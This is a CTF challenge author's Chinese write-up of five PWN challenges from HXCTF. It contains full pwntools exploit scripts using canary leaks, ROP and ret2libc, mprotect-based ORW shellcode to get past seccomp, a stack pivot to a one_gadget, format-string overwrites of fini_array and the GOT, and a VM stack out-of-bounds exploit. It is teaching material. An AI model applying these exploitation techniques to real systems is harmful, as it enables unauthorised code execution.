HXCTF二进制出题小记·PWN篇

前言

本次比赛我出的PWN题大部分都是比较基础或者说中等的题,虽然有设计一些坑,但是这些“坑”都比较容易处理

cutebird

在这里插入图片描述
这道题是完全没有坑的,非常简单的ret2text + canary绕过
程序反编译伪代码如下
在这里插入图片描述
选项1有溢出,可以先溢出一个字节覆盖canary的低位00字节来泄露canary
然后通过选项2向bss写入'/bin/sh\x00'字符串
直接看IDA或者用ROPgadget都能找到pop rdi;ret这个gadget

exp

from pwn import *

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")

file = "./cute"

#p = process(file)
elf = ELF(file, False)
p = remote("43.139.51.42", 32777)

def menu(idx):
    sla(">> ", str(idx))

system = 0x0000000000401396
bin_sh = elf.sym["secret"]
rdi_ret = 0x000000000040124a
menu(1)
sl(cyclic(0x58))
ru(cyclic(0x58))
canary = u64(rc(8)) - 0xa
log("canary", canary)
menu(2)
sl("/bin/sh\x00")
menu(1)
payload = cyclic(0x58) + p64(canary) + flat(0, rdi_ret, bin_sh, system)
sd(payload)

ia()

签到愉快~Ciallo~(∠・ω< )⌒★

sandbox

在这里插入图片描述
其实我感觉这题是换汤不换药,只是把ret2text改成了ret2libc。给了一个超长的溢出同时把execve调用给禁用了
在这里插入图片描述
因为我编译程序的时候是直接将libseccomp.a静态链接到程序,所以程序本身有很多可用的gadget,我们可以先puts泄露libc地址然后再通过ORW rop链来读flag文件
泄露libc地址

rdi_ret = 0x000000000040d8a2
pl1 = cyclic(64) + flat(0, rdi_ret, elf.got["puts"], elf.sym["puts"], elf.sym["main"])
sla("How to get flag?\n", pl1)
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)

然后准备布置ORW rop链…wait!
诶?我去,程序和libc里都找不到'/flag\x00'或者'flag\x00'字符串啊😰
这我怎么利用?
诶!🤓☝️这时候就要介绍一个叫mprotect的系统函数了,它的作用是修改内存段的权限。
那怎么用呢?
我们可以用它修改程序bss段的权限为RWX(可读可写可执行),然后调用read将我们的ORW shellcode写入bss段,最后执行ORW shellcode

rsi = 0x000000000002be51 + libc.address
rdx_r12 = 0x000000000011f2e7 + libc.address

bss = elf.bss() + 0x300
seg = bss & (~0xfff)
log("RWX_seg", seg)
mprotect = libc.sym["mprotect"]
read = libc.sym["read"]
pl2 = cyclic(64) + flat(0, rdi_ret, seg, rsi, 0x1000, rdx_r12, 7,0, mprotect,rdi_ret, 0, rsi, bss, rdx_r12, 0x100, 0, read, bss)
sla("How to get flag?\n", pl2)
pause()
sl(asm(shellcraft.cat("flag")))

其实这里用mmap函数也是可以的,但是mmap函数的参数量比较多,所以没用它

exp

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
file = "./sandbox"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("", 23583)

rdi_ret = 0x000000000040d8a2
pl1 = cyclic(64) + flat(0, rdi_ret, elf.got["puts"], elf.sym["puts"], elf.sym["main"])
sla("How to get flag?\n", pl1)
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)

rsi = 0x000000000002be51 + libc.address
rdx_r12 = 0x000000000011f2e7 + libc.address

bss = elf.bss() + 0x300
seg = bss & (~0xfff)
log("RWX_seg", seg)
mprotect = libc.sym["mprotect"]
read = libc.sym["read"]
# debug("b *0x4015ad")
# pause()
pl2 = cyclic(64) + flat(0, rdi_ret, seg, rsi, 0x1000, rdx_r12, 7,0, mprotect,rdi_ret, 0, rsi, bss, rdx_r12, 0x100, 0, read, bss)
sla("How to get flag?\n", pl2)
pause()
sl(asm(shellcraft.cat("flag")))

ia()

moveup

在这里插入图片描述
这道题考的是栈迁移,首先来看主函数
在这里插入图片描述
能往bss段写0x3C的数据
跟进vuln发现有个16字节的溢出,也就是恰好能够覆盖栈指针和返回地址
在这里插入图片描述
那么思路比较清晰了

  • 在最开始的时候写入泄露libc地址的ROP链
rdi_ret = 0x040117E
leave = 0x4011D3
pl1 = flat(0, rdi_ret, elf.got["puts"] ,elf.sym["puts"], elf.sym["main"])
sla("your name?", pl1)
  • 接着我们把栈迁移到bss段,执行我们最开始写入的ROP链并接收libc地址
pl2 = cyclic(48) + flat(bss, leave)
sa("feedback~", pl2)
ru("participation!\n")
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)
  • 再次来到main函数,我们写入执行system("/bin/sh")的ROP链,然后再次把栈迁移到name变量去执行ROP链,最后getshell
    是这样的…吗?实际上这样做你会收到SIGSEGV错误

为什么呢?因为system函数调用需要的栈空间比较大,也许你会说name前面还有那么长一段内存,但实际上这就是坑🤓☝️让你误以为是能执行system的
这里的预期解是打one gadget
因为one gadget是直接找libc库中执行execveat("/bin/sh", cond, cond)的代码片段来快速getshell,需要的栈空间没有system那么大(后面两个参数cond表示约束条件)
输入one_gadget libc.so.6来查看libc文件的所有one gadgets
下面的利用脚本里我选择的是第六个ogg
ogg的利用前提会打印出来,这里我们只需要控制rax寄存器的值为NULL就行了

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

exp

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
file = "./moveup"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("43.139.51.42", 34517)

bss = elf.sym["name"]
rdi_ret = 0x040117E
leave = 0x4011D3
pl1 = flat(0, rdi_ret, elf.got["puts"] ,elf.sym["puts"], elf.sym["main"])
sla("your name?", pl1)

debug("b *0x4011D3")
pause()
pl2 = cyclic(48) + flat(bss, leave)
sa("feedback~", pl2)
ru("participation!\n")

libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)

rax = 0x0000000000045eb0 + libc.address
sla("your name?", "S1nyer")
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
"""
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""
pl4 = flat(bss+0x300, rax, 0, libc.address + oggs[5]).ljust(48, b'\x00') + flat(bss-32, leave)
sa("feedback~", pl4)

ia()

fini_format

在这里插入图片描述
这道题其实说难也不难,主要是要知道Linux下glibc程序的执行流程(如下图所示)
在这里插入图片描述
提炼关键信息,上面这个图的意思就是:如果程序通过__libc_start_main正常返回或是通过exit函数退出时,都会调用fini_array下的函数
知道这一点,那么这道题就很好做了
来看主函数,程序一开始就泄露了libc地址
在这里插入图片描述
那么我们的思路是劫持fini_arraystart,然后再劫持printf@gotsystem函数地址
这时候再返回到main函数的时候,只需要输入字符串/bin/sh\x00就能getshell了
对了,是在IDA的View -> Open subviews -> Segments找到fini_array的地址
在这里插入图片描述

exp

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
file = "./fini_format"
libc = "./libc.so.6"

#p = process(file)
p = remote("43.139.51.42", 32781)
elf = ELF(file)
libc = ELF(libc)
ru("0x")
libc_base = int(rc(12),16) - libc.sym["read"]
lg("libcbase", libc_base)
system,binsh = get_sb()
ogg = libc_base + 0xebc81

print_got = elf.got["printf"]
fini_array = 0x403140
start = 0x401231
payload = fmtstr_payload(6, {fini_array:start, print_got:ogg}, write_size='short')
#debug("b *0x401259")
sd(payload)
sd("/bin/sh\x00")

ia()

baby_vm

在这里插入图片描述
爆零了,先给各位滑轨🙇‍♂️🙇‍♂️🙇‍♂️
关于虚拟机部分的逆向可以参考我的上一篇文章
HXCTF二进制出题小记·逆向篇
这里我主要讨论该VM存在的漏洞,主函数逻辑很简单,将用户输入的数据作为VM字节码直接执行
在这里插入图片描述
由于程序是用C++写的,虚拟机信息都在类里并且虚拟机指令实现都是virtual虚函数,所以反编译出来的伪代码非常丑陋
下面是VM的构造函数
在这里插入图片描述
我们将下面两个结构体导入ida,然后修改参数a1的类型为VM*

struct CPU
{
  uint64_t regs[16];
  unsigned __int8 *ip;
  uint64_t *sp;
  uint64_t *bp;
  bool power;
};
struct VM
{
  void *vftable;
  CPU _cpu;
};

这样代码的可读性就高多了
在这里插入图片描述
下面的函数就是interpret函数,是VM的主分发器,用于解析VM字节码并执行对应的指令
在这里插入图片描述
然后发现程序的pushpop(9号和10号指令)没有越界检查并且push是sp指针加一,pop是sp指针减一
在这里插入图片描述
在这里插入图片描述
而我们的sp指针是指向构造函数VM::VM栈顶的,我们通过组合使用pushpop指令,可以达到栈溢出的效果
但是由于程序保护全开,我们还需要获得libc上的地址,从哪里获得呢?
诶🤓☝️VM栈和程序栈在同一块内存空间,同时VM开辟的栈大小还是8*1024=8192的大小,并且程序还没有用memset清理栈,那么我们可以找一下栈上有没有残留的libc地址
gdb启动!
我们在程序调用interpret 函数的位置下断点b *$rebase(0x13ED)
然后输入leakfind -o 0x2000 -d 1来找出栈上的libc地址
在这里插入图片描述
要注意的是:并不是说随便找一个在libc上的地址就行了,这些地址值很有可能发生变动!!!
我的方法是多次运行查看地址,把结果保存到记事本,然后对比找出固定不变的那个地址,选它作为泄露值
这里我选取的是$rsp+0x1f48的地址作为泄露值,经计算它是在VM栈的第997
由于程序实现了loadstore指令(限制了栈索引在0<index<1024,不存在越界),我们可以直接将这个值读到CPU寄存器堆上
然后通过加减运算获得libc基址和one gadget的地址
最后通过pop指令减sp指针来将VM的栈越界,使它指向更深层次的函数栈。简单来说,我用下面的函数调用结构来演示,#0 函数地址是乱填的,主要看符号

#0  0x00006209cb92a2cd in VM::push()
#1  0x00006209cb92a3ed in VM::VM()
#2  0x00006209cb92a563 in main()
#3  0x00007731b4435d90 in __libc_start_call_main()

我们可以在pushpop这两个指令下断点(这两个函数的栈大小相同),然后计算要通过几次pop运算,VM的栈指针才指向push函数的返回地址,然后通过push指令将one gadget压入返回地址
这样就触发one gadget来getshell了

exp

利用脚本

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['konsole', '-e', 'sh', '-c']
file = "./babyvm"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("43.139.51.42", 32776)

from VMBuilder import *
debug("b *$rebase(0x13ED)")
libc_off = [997, 0x8aeed]
retaddr_off = 11
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
vm = VMBuilder()
vm.load(0, libc_off[0])
vm.sub_imm(0, libc_off[1])
vm.add_imm(0, oggs[5])
for _ in range(retaddr_off):
   vm.pop(1)
vm.push(0)
#pause()

sla("it?", vm.dump())
ia()

VMBuilder 代码

from struct import pack

class VMBuilder:
    def __init__(self):
        self.buf = bytearray()
    
    def _validate_registers(self, *regs):
        for r in regs:
            if not 0 <= r <= 15:
                raise ValueError(f"Invalid register R{r} (0-15 only)")
    
    def add(self, r1, r2):
        """ADD r1, r2"""
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 1, r1, r2)
    
    def add_imm(self, rx, imm):
        """ADD rX, imm"""
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 2, rx, imm)
    
    def sub(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 3, r1, r2)
    
    def sub_imm(self, rx, imm):
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 4, rx, imm)
    
    def mul(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 5, r1, r2)
    
    def mul_imm(self, rx, imm):
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 6, rx, imm)

    def mov(self, dst, src):
        self._validate_registers(dst, src)
        self.buf += pack("<BBB", 7, dst, src)
    
    def ixor(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 8, r1, r2)

    def push(self, rx):
        self._validate_registers(rx)
        self.buf += pack("<BB", 9, rx)
    
    def pop(self, rx):
        self._validate_registers(rx)
        self.buf += pack("<BB", 10, rx)

    def cmp(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 11, r1, r2)

    def jmp(self, offset):
        self.buf += pack("<Bh", 12, offset)
    
    def jz(self, offset):
        self.buf += pack("<Bh", 13, offset)
    
    def jnz(self, offset):
        self.buf += pack("<Bh", 14, offset)

    def shiftL(self, rx, shift):
        self._validate_registers(rx)
        if not 0 <= shift <= 64:
            raise ValueError("Shift amount must be 0-64")
        self.buf += pack("<BBB", 15, rx, shift)
    
    def shiftR(self, rx, shift):
        self._validate_registers(rx)
        if not 0 <= shift <= 64:
            raise ValueError("Shift amount must be 0-64")
        self.buf += pack("<BBB", 16, rx, shift)
    
    def load(self, rx, offset):
        self._validate_registers(rx)
        self.buf += pack("<BBH", 17, rx, offset)
    
    def store(self, rx, offset):
        self._validate_registers(rx)
        self.buf += pack("<BBH", 18, rx, offset)

    def load2(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 19, r1, r2)
    
    def store2(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 20, r1, r2)
    
    def halt(self):
        self.buf += pack("<B", 21)

    def dump(self):
        """返回完整字节码副本"""
        return bytes(self.buf)
    
    def save(self, filename):
        """保存字节码到文件"""
        with open(filename, 'wb') as f:
            f.write(self.dump())
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值